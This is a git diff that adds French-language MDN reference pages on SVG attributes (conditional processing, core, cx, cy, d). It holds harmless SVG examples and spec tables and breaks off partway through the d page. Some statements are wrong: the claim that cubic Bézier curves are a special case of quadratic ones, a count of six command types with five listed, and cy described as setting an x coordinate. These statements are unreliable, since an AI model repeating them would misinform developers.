+</ul>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.attributes.presentation.color")}}</p>
diff --git a/files/fr/web/svg/attribute/conditional_processing/index.html b/files/fr/web/svg/attribute/conditional_processing/index.html
new file mode 100644
index 0000000000..ae04d7978f
--- /dev/null
+++ b/files/fr/web/svg/attribute/conditional_processing/index.html
@@ -0,0 +1,38 @@
+---
+title: Attributs SVG de traitement conditionnel
+slug: Web/SVG/Attribute/Conditional_Processing
+translation_of: Web/SVG/Attribute/Conditional_Processing
+---
+<p>Les <em>attributs SVG de traitement conditionnel</em> sont tous les attributs qui peuvent être spécifiés sur des éléments SVG pour contrôler si l'élément sur lequel il s'applique doit s'afficher ou non.</p>
+
+<div class="index">
+<ul>
+ <li><a href="#attr-externalResourcesRequired">externalResourcesRequired</a></li>
+ <li><a href="#attr-requiredExtensions">requiredExtensions</a></li>
+ <li><a href="#attr-requiredFeatures">requiredFeatures</a></li>
+ <li><a href="#attr-systemLanguage">systemLanguage</a></li>
+</ul>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<dl>
+ <dt id="attr-externalResourcesRequired">{{SVGAttr('externalResourcesRequired')}} {{deprecated_inline('svg2')}}</dt>
+ <dd>Si sa valeur vaut <code>true</code>, cela indique que le navigateur doit attendre que toutes les ressources externes nécessaires au rendu de cet élément soient chargées avant de traiter l'élément associé.<br>
+ <small><em>Valeur</em>: <strong><code>false</code></strong>|<code>true</code>; <em>Animation</em>: <strong>Non</strong></small></dd>
+ <dt id="attr-requiredExtensions">{{SVGAttr('requiredExtensions')}}</dt>
+ <dd>Liste toutes les fonctionnalités devant être prises en charge par le navigateur pour autoriser l'affichage de l'élément associé.<br>
+ <small><em>Valeur</em>: Une liste d'URI séparées par des espaces; <em>Animation</em>: <strong>Non</strong></small></dd>
+ <dt id="attr-requiredFeatures">{{SVGAttr('requiredFeatures')}} {{deprecated_inline('svg2')}}</dt>
+ <dd>Liste toutes les fonctionnalités, <a href="https://www.w3.org/TR/SVG11/feature.html">telles que définies dans la spécification SVG 1.1</a>, devant être prises en charge par le navigateur pour autoriser l'affichage de l'élément associé.<br>
+ <small><em>Valeur</em>: Une list d'URI séparées par espaces; <em>Animation</em>: <strong>Non</strong></small></dd>
+ <dt id="attr-systemLanguage">{{SVGAttr('systemLanguage')}}</dt>
+ <dd>Indique la langue que l'utilisatteur doit avoir choisit pour autoriser l'affichage l'élément associé.<br>
+ <small><em>Valeur</em>: Une liste d'<a href="http://www.ietf.org/rfc/bcp/bcp47.txt">ID de langage</a> séparés par des virgules; <em>Animation</em>: <strong>Non</strong></small></dd>
+</dl>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.attributes.conditional_processing")}}</p>
diff --git a/files/fr/web/svg/attribute/core/index.html b/files/fr/web/svg/attribute/core/index.html
new file mode 100644
index 0000000000..71cbb6c3c1
--- /dev/null
+++ b/files/fr/web/svg/attribute/core/index.html
@@ -0,0 +1,67 @@
+---
+title: Attributs SVG de base
+slug: Web/SVG/Attribute/Core
+translation_of: Web/SVG/Attribute/Core
+---
+<p>Les <em>attributs SVG de base</em> sont  tous les attributs communs pouvant être spécifiés sur n'importe quel élément SVG.</p>
+
+<div class="index">
+<ul>
+ <li><a href="#attr-id"><code>id</code></a></li>
+ <li><a href="#attr-lang"><code>lang</code></a></li>
+ <li><a href="#attr-tabindex"><code>tabindex</code></a></li>
+ <li><a href="#attr-xml:base"><code>xml:base</code></a></li>
+ <li><a href="#attr-xml:lang"><code>xml:lang</code></a></li>
+ <li><a href="#attr-xml:space"><code>xml:space</code></a></li>
+</ul>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<dl>
+ <dt id="attr-id">{{SVGAttr('id')}}</dt>
+ <dd>Définit un identifiant (ID) qui doit être unique dans tout le document. Son but est d'identifier l'élément pour pouvoir y faire référence plus tard, comme identificateur de fragment, dans du code, ou pour appliquer du style (avec CSS).<br>
+ <small><em>Valuer</em>: Tout ID valide; <em>Animation</em>: <strong>Non</strong></small></dd>
+ <dt id="attr-lang">{{SVGAttr('lang')}}</dt>
+ <dd>
+ <p>Définit le langage de l'élément  — la langue dans laquelle sont écrit les éléments non-éditables et celle dans laquelle devrait être écrits les éléments éditables. L'attribut prend pour valeur l'identifiant de la langue tel que définit dans le <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">document IETF "Tags for Identifying Languages" (BCP47)</a>.</p>
+
+ <div class="note">
+ <p>SVG 2 introduit l'attribut <code>lang</code>. Si les attributs <code>lang</code> et <code>xml:lang</code> sont tous les deux définis, <code>xml:lang</code> a la priorité sur <code>lang</code>.</p>
+ </div>
+
+ <p><small><em>Valeur</em>: Tout ID de langage valide; <em>Animation</em>: <strong>Non</strong></small></p>
+ </dd>
+ <dt id="attr-tabindex">{{SVGAttr('tabindex')}}</dt>
+ <dd>L'attribut SVG tabindex permet de contrôler si un élément peut prendre le focus et définit l'ordre relatif des éléments pour la navigation via tabulation.<br>
+ <small><em>Type de valeur</em>: <a href="/docs/Web/SVG/Content_type#Integer">&lt;integer&gt;</a>; <em>Animation</em>: <strong>Non</strong></small></dd>
+ <dt id="attr-xml:base">{{SVGAttr('xml:base')}}</dt>
+ <dd>Spécifie une IRI de base autre que celle du document.<br>
+ <small><em>Type de valeur</em>: <a href="/docs/Web/SVG/Content_type#IRI">&lt;IRI&gt;</a>; <em>Animation</em>: <strong>Non</strong></small></dd>
+ <dt id="attr-xml:lang">{{SVGAttr('xml:lang')}}</dt>
+ <dd>
+ <p>C'est un attribut universel autorisé dans tous les documents XML pour définir le langage du texte présent dans l'élément. Son utilisation est presque identique à celle de l'attribut <a href="/fr/docs/Web/HTML/Attributs_universels/lang">lang</a> en HTML, hormis que les documents XML 1.0 ne permettent pas l'utilisation d'une valeur d'attribut nulle (<code>xml:lang=""</code>) pour indiquer un langage inconnu. À la place, utiliser <code>xml:lang="und"</code>.</p>
+
+ <div class="note">
+ <p>SVG 2 introduit l'attribut <code>lang</code>. Si les attributs <code>lang</code> et <code>xml:lang</code> sont tous les deux définis, <code>xml:lang</code> a la priorité sur <code>lang</code>.</p>
+ </div>
+
+ <p><small><em>Valeur</em>: Tout ID de langage valide; <em>Animation</em>: <strong>Non</strong></small></p>
+ </dd>
+ <dt id="attr-xml:space">{{SVGAttr('xml:space')}} {{deprecated_inline('svg2')}}</dt>
+ <dd>
+ <p>SVG prend en charge l'attribut XML standard <code>xml:space</code> pour spécifier le traitement des caractères d'espaces dans les données d'un élément {{ SVGElement("text") }} donné.</p>
+
+ <div class="note">
+ <p><strong>Note:</strong> Plutôt qu'utiliser l'attribut <code>xml:space</code> vous devriez utiliser la propriété CSS {{cssxref('white-space')}} à la place.</p>
+ </div>
+
+ <p><small><em>Valeur</em>: <code><strong>default</strong></code> | <code>preserve</code>; <em>Animation</em>: <strong>Non</strong></small></p>
+ </dd>
+</dl>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.attributes.core")}}</p>
diff --git a/files/fr/web/svg/attribute/cx/index.html b/files/fr/web/svg/attribute/cx/index.html
new file mode 100644
index 0000000000..bb97ab6341
--- /dev/null
+++ b/files/fr/web/svg/attribute/cx/index.html
@@ -0,0 +1,172 @@
+---
+title: cx
+slug: Web/SVG/Attribute/cx
+tags:
+  - SVG
+  - SVG Attribute
+translation_of: Web/SVG/Attribute/cx
+---
+<p>{{SVGRef}}</p>
+
+<p>L'attribut <strong><code>cx</code></strong> définit la coordonnée de l'axe x pour le point central d'un élément.</p>
+
+<p>Trois éléments utilisent cet attribut: {{SVGElement("circle")}}, {{SVGElement("ellipse")}}, et {{SVGElement("radialGradient")}}</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;radialGradient cx="25%" id="myGradient"&gt;
+    &lt;stop offset="0"    stop-color="white" /&gt;
+    &lt;stop offset="100%" stop-color="black" /&gt;
+  &lt;/radialGradient&gt;
+
+  &lt;circle cx="50" cy="50" r="45"/&gt;
+  &lt;ellipse cx="150" cy="50" rx="45" ry="25" /&gt;
+  &lt;rect x="205" y="5" width="90" height="90" fill="url(#myGradient)" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('topExample', 100, 100)}}</p>
+</div>
+
+<h2 id="circle">circle</h2>
+
+<p>Pour un élément {{SVGElement('circle')}}, <code>cx</code> définit la coordonnée x de son centre.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> À partir de SVG2, <code>cx</code> est une<em> propriété de géométrie</em>, ce qui signifie que cet attribut peut être utilisé comme propriété CSS pour les cercles.</p>
+
+<h2 id="ellipse">ellipse</h2>
+
+<p>Pour un élément {{SVGElement('ellipse')}}, <code>cx</code> définit la coordonnées x de son centre.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> À partir de SVG2, <code>cx</code> est une<em> propriété de géométrie</em>, ce qui signifie que cet attribut peut être utilisé comme propriété CSS pour les ellipses.</p>
+
+<h2 id="radialGradient">radialGradient</h2>
+
+<p>Pour un élément {{SVGElement('radialGradient')}}, <code>cx</code> définit la coordonnées x du plus grand cercle pour le dégradé radial (c'est-à-dire du plus externe). Le dégradé sera dessiné de telle façon que la <a href="/en-US/docs/SVG/Element/stop" title="/en-US/docs/SVG/Element/stop">limite du dégradé</a> à <strong>100%</strong> corresponde au périmètre de ce plus grand cercle.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>50%</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Exemple">Exemple</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 34 10" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+    &lt;radialGradient cx="0" id="myGradient000"&gt;
+      &lt;stop offset="0%"   stop-color="gold" /&gt;
+      &lt;stop offset="50%"  stop-color="green" /&gt;
+      &lt;stop offset="100%" stop-color="white" /&gt;
+    &lt;/radialGradient&gt;
+
+    &lt;radialGradient cx="50%" id="myGradient050"&gt;
+      &lt;stop offset="0%"   stop-color="gold" /&gt;
+      &lt;stop offset="50%"  stop-color="green" /&gt;
+      &lt;stop offset="100%" stop-color="white" /&gt;
+    &lt;/radialGradient&gt;
+
+    &lt;radialGradient cx="100%" id="myGradient100"&gt;
+      &lt;stop offset="0%"   stop-color="gold" /&gt;
+      &lt;stop offset="50%"  stop-color="green" /&gt;
+      &lt;stop offset="100%" stop-color="white" /&gt;
+    &lt;/radialGradient&gt;
+  &lt;/defs&gt;
+
+  &lt;rect x="1"  y="1" width="8" height="8" fill="url(#myGradient000)" stroke="black" /&gt;
+  &lt;rect x="13" y="1" width="8" height="8" fill="url(#myGradient050)" stroke="black" /&gt;
+  &lt;rect x="25" y="1" width="8" height="8" fill="url(#myGradient100)" stroke="black" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('radialGradient', 150, '100%')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "geometry.html#CX", "cx")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Définition comme propriété de géométrie</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "pservers.html#RadialGradientElementCXAttribute", "cx")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Définition pour SVG2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "pservers.html#RadialGradientElementCXAttribute", "cx")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour <code>&lt;radialGradient&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "shapes.html#EllipseElementCXAttribute", "cx")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour <code>&lt;ellipse&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "shapes.html#CircleElementCXAttribute", "cx")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour <code>&lt;circle&gt;</code></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/svg/attribute/cy/index.html b/files/fr/web/svg/attribute/cy/index.html
new file mode 100644
index 0000000000..041e7bcdfd
--- /dev/null
+++ b/files/fr/web/svg/attribute/cy/index.html
@@ -0,0 +1,172 @@
+---
+title: cy
+slug: Web/SVG/Attribute/cy
+tags:
+  - SVG
+  - SVG Attribute
+translation_of: Web/SVG/Attribute/cy
+---
+<div>{{SVGRef}}</div>
+
+<p>L'attribut <strong><code>cy</code></strong> définit la coordonnée de l'axe y pour le point central d'un élément.</p>
+
+<p>Trois éléments utilisent cet attribut: {{SVGElement("circle")}}, {{SVGElement("ellipse")}}, et {{SVGElement("radialGradient")}}</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;radialGradient cy="25%" id="myGradient"&gt;
+    &lt;stop offset="0"    stop-color="white" /&gt;
+    &lt;stop offset="100%" stop-color="black" /&gt;
+  &lt;/radialGradient&gt;
+
+  &lt;circle  cy="50"  cx="50" r="45"/&gt;
+  &lt;ellipse cy="150" cx="50" rx="45" ry="25" /&gt;
+  &lt;rect x="5" y="205" width="90" height="90" fill="url(#myGradient)" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 300)}}</p>
+</div>
+
+<h2 id="circle">circle</h2>
+
+<p>Pour un élément {{SVGElement('circle')}}, <code>cy</code> définit la coordonnée y de son centre.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> À partir de SVG2, <code>cy</code> est une<em> propriété de géométrie</em>, ce qui signifie que cet attribut peut être utilisé comme propriété CSS pour les cercles.</p>
+
+<h2 id="ellipse">ellipse</h2>
+
+<p>Pour un élément {{SVGElement('ellipse')}}, <code>cy</code> définit la coordonnée y de son centre.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> À partir de SVG2, <code>cy</code> est une<em> propriété de géométrie</em>, ce qui signifie que cet attribut peut être utilisé comme propriété CSS pour les ellipses.</p>
+
+<h2 id="radialGradient">radialGradient</h2>
+
+<p>Pour un élément {{SVGElement('radialGradient')}}, <code>cy</code> définit la coordonnées x du plus grand cercle pour le dégradé radial (c'est-à-dire du plus externe). Le dégradé sera dessiné de telle façon que la <a href="https://developer.mozilla.org/en-US/docs/SVG/Element/stop" title="/en-US/docs/SVG/Element/stop">limite de dégradé</a> de <strong>100%</strong> corresponde au périmètre de ce plus grand cercle.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>50%</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Exemple">Exemple</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 34 10" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+    &lt;radialGradient cy="0" id="myGradient000"&gt;
+      &lt;stop offset="0%"   stop-color="gold" /&gt;
+      &lt;stop offset="50%"  stop-color="green" /&gt;
+      &lt;stop offset="100%" stop-color="white" /&gt;
+    &lt;/radialGradient&gt;
+
+    &lt;radialGradient cy="50%" id="myGradient050"&gt;
+      &lt;stop offset="0%"   stop-color="gold" /&gt;
+      &lt;stop offset="50%"  stop-color="green" /&gt;
+      &lt;stop offset="100%" stop-color="white" /&gt;
+    &lt;/radialGradient&gt;
+
+    &lt;radialGradient cy="100%" id="myGradient100"&gt;
+      &lt;stop offset="0%"   stop-color="gold" /&gt;
+      &lt;stop offset="50%"  stop-color="green" /&gt;
+      &lt;stop offset="100%" stop-color="white" /&gt;
+    &lt;/radialGradient&gt;
+  &lt;/defs&gt;
+
+  &lt;rect x="1"  y="1" width="8" height="8" fill="url(#myGradient000)" stroke="black" /&gt;
+  &lt;rect x="13" y="1" width="8" height="8" fill="url(#myGradient050)" stroke="black" /&gt;
+  &lt;rect x="25" y="1" width="8" height="8" fill="url(#myGradient100)" stroke="black" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('radialGradient', 150, '100%')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "geometry.html#CY", "cy")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Définition comme propriété de géométrie</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "pservers.html#RadialGradientElementCYAttribute", "cy")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Définition pour SVG2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "pservers.html#RadialGradientElementCYAttribute", "cy")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour <code>&lt;radialGradient&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "shapes.html#EllipseElementCYAttribute", "cy")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour <code>&lt;ellipse&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "shapes.html#CircleElementCYAttribute", "cy")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour <code>&lt;circle&gt;</code></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/svg/attribute/d/index.html b/files/fr/web/svg/attribute/d/index.html
new file mode 100644
index 0000000000..7aad4f3a04
--- /dev/null
+++ b/files/fr/web/svg/attribute/d/index.html
@@ -0,0 +1,196 @@
+---
+title: d
+slug: Web/SVG/Attribute/d
+tags:
+  - Attribut SVG
+  - SVG
+translation_of: Web/SVG/Attribute/d
+---
+<div>{{SVGRef}}</div>
+
+<p>L'attribut <strong><code>d</code></strong> définit un tracé à dessiner.</p>
+
+<p>La définition d'un tracé est une liste de <a dir="ltr" href="/fr/docs/" id="#Path_commands">commandes de tracé</a> où chaque commande est composée d'une lettre pour la commande, et de nombres qui représentent les paramètres de la commande. Les commandes sont détaillées ci-dessous.</p>
+
+<p>Trois éléments ont cet attribut : {{SVGElement("path")}}, {{SVGElement("glyph")}}, and {{SVGElement("missing-glyph")}}</p>
+
+<div id="Example">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path fill="none" stroke="red"
+    d="M 10,30
+       A 20, 20 0, 0, 1 50, 30
+       A 20, 20 0, 0, 1 90, 30
+       Q 90, 60 50, 90
+       Q 10, 60 10, 30 z" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Example', '100%', 200)}}</p>
+
+<h2 id="Tracé">Tracé</h2>
+
+<p>Pour un {{SVGElement('path')}}, <code>d</code> est une chaîne de caractère qui contient une série de commandes de tracé qui définissent le tracé à dessiner.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#String">&lt;string&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><em>aucune</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Animable</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="glyph">glyph</h2>
+
+<p class="warning"><strong>Attention :</strong> Depuis SVG2, {{SVGElement('glyph')}} est dépréciée et ne doit plus être utilisé.</p>
+
+<p>Pour un {{SVGElement('glyph')}}, <code>d</code> est une chaîne de caractères qui contient une série de commandes de tracé qui définissent la forme du contour de la glyphe.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#String">&lt;string&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><em>aucune</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Animable</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note :</strong> Le point d'origine (coordonnée <code>0,0</code>) est généralement le point du <em>coin en haut à gauche</em> du context. Néanmoins, l'élément {{SVGElement("glyph")}} a son point d'origine dans le coin en bas à gauche de son enveloppe.</p>
+
+<h2 id="missing-glyph">missing-glyph</h2>
+
+<p class="warning"><strong>Attention :</strong> Depuis SVG2, {{SVGElement('missing-glyph')}} est dépréciée et ne doit plus être utilisé.</p>
+
+<p>Pour un {{SVGElement('missing-glyph')}}, <code>d</code> est une chaîne de caractères qui contient une série de commandes de tracé qui définissent la forme du contour de la glyphe.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#String">&lt;string&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><em>aucune</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Animable</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Commandes_de_tracé">Commandes de tracé</h2>
+
+<p>Les commandes de tracé sont des instructions qui définissent un tracé à dessiner. Chaque commande est composée d'une lettre de commande et de nombres qui représentent les paramètres de la commande.</p>
+
+<p>SVG définit 6 types de commandes, pour un total de 20 commandes :</p>
+
+<ul>
+ <li>Aller à (Moveto)</li>
+ <li>Tracer une ligne jusqu'à (Lineto)</li>
+ <li>Tracer une courbe jusqu'à (Curveto)</li>
+ <li>Tracer un arc de cercle jusqu'à (Arcto)</li>
+ <li>Fermer le chemin (ClosePath)</li>
+</ul>
+
+<p class="note"><strong>Note:</strong> Les commandes sont sensibles à la casse; une commande en majuscule attend des positions absolues en arguments, alors qu'une commande en minuscule attend des points relatifs à la position actuelle du point.</p>
+
+<p>Il est toujours possible de spécifier une valeur négative en argument d'une commande : des angles négatifs pointeront dans une direction vers le sens inverse des aiguilles d'une montre; des positions <code>x</code> et <code>y</code> seront interprétées commandes coordonnées négatives; des valeurs <code>x</code><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: #eeeeee; font-size: 13.6px; white-space: nowrap;"><strong> </strong></span></font>négatives se déplaceront vers la gauche; et des valeurs <code>y</code> négatives se déplaceront vers le haut.</p>
+
+<h2 id="Moveto_(aller_à)">Moveto (aller à)</h2>
+
+<p>Cette instuction peut être vue comme un déplacement du pinceau à une position donnée sans rien tracer. Une bonne pratique consiste à commencer tous ses chemins par une instruction Moveto car, sans un positionnement initial, les instructions du chemin commencerons à un point quelconque ce qui peut donner des résultats non désirés.</p>
+
+<p>Syntaxe:</p>
+
+<ul>
+ <li><strong><code>M x, y</code></strong> où x et y sont des coordonnées absolues, respectivement horizontale et verticale.</li>
+ <li><strong><code>m dx, dy</code></strong> où dx et dy sont des distances relatives à la position courante, respectivement vers la droite et vers le bas.</li>
+</ul>
+
+<p>Exemples :</p>
+
+<ul>
+ <li>Positionnement absolu en x = 50, y = 100 : <code>&lt;path d="M 50, 100..." /&gt;</code></li>
+ <li>Déplacement de 50 vers la droite et 100 vers le bas : <code>&lt;path d="m 50, 100..." /&gt;</code></li>
+</ul>
+
+<h2 id="Lineto_(tracer_une_ligne_jusqu'à)">Lineto (tracer une ligne jusqu'à)</h2>
+
+<p>À l'opposé de l'instruction Moveto, Lineto trace réellement une ligne de la position courante à la position définie. La syntaxe générique est <code>L x, y</code> ou <code>l dx, dy</code> avec <code>x, y</code> des coordonnées absolues et <code>dx, dy</code> des distances relatives au point courant, respectivement dans les sens de gauche à droite pour <code>dx</code> et de haut en bas pour <code>dy</code>.</p>
+
+<p>Il existe aussi des raccourcis pour définir des lignes horizontales (H) ou verticales (V). Leur syntaxe est similaire à celle de L, mais il n'y a qu'une valeur à donner.</p>
+
+<p>Exemples :</p>
+
+<ul>
+ <li>Dessiner un carré (avec coordonnées relatives) : <code>&lt;path d="M -10, -10 h 50 v 50 h -50 v -50"/&gt;</code></li>
+ <li>Dessiner un carré (avec coordonnées absolues) : <code>&lt;path d="M -10, -10 H 40 V 40 H -10 V -10"/&gt;</code></li>
+</ul>
+
+<h2 id="Curveto">Curveto</h2>
+
+<p>L'instruction Curveto trace une <a href="https://developer.mozilla.org/en-US/docs/User:Jt_Sandbox/Curves_in_Paths">courbe de Bézier</a>. Il existe deux types de courbes de Bézier : cubique et quadratique. Les courbes cubiques sont un cas particulier des courbes quadratiques puisque le point de contrôle est commun au point de départ et au point d'arrivée. La syntaxe d'une courbe quadratique de Bézier est "Q cx,cy x,y" ou "q dcx,dcy dx,dy". cx et cy sont les coordonnées absolues du point de contrôle tandis que dcx et dcy sont les coordonnées du point de contrôle relatives au point courant. x et y sont les coordonnées absolues du point d'arrivée tandis que dx et dy sont les coordonnées relatives de ce point par rapport au point courant.</p>
+
+<p>Les courbes cubiques de Bézier suivent le même principe mais avec deux points de contrôle. La syntaxe de ces courbes est <code>C c1x, c1y c2x, c2y x, y</code> ou <code>c dc1x, dc1y dc2x, dc2y dx, dy</code>.</p>
+
+<div>
+
+
